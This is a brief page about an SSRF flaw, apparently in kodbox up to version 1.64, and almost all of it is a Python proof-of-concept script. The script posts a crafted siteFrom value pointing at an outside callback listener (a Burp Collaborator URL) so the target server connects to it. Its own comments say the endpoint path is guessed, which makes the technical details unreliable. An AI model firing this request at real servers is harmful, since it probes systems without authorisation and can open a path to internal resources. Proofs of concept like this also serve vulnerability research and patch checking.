CVE-2026-5618 kalcaddle kodbox服务端请求伪造漏洞

import requests # CVE-2026-5618 PoC: kalcaddle kodbox SSRF # Target: kalcaddle kodbox <= 1.64 def check_ssrf(target_url, callback_url): """ Attempts to trigger the SSRF by manipulating siteFrom/siteTo. """ # Endpoint might vary, assuming a common pattern for sharing components # Adjust the endpoint path based on actual routing endpoint = f"{target_url}/index.php?s=/share/shareMake" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } # Payload attempting to make server connect to callback_url payload = { "siteFrom": callback_url, "siteTo": "/var/www/html" } try: response = requests.post(endpoint, data=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Request sent to {target_url}. Check {callback_url} for incoming connections.") else: print(f"[-] Unexpected status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with actual target and listener target = "http://127.0.0.1:8080" listener = "http://burp.collaborator.net/token" check_ssrf(target, listener)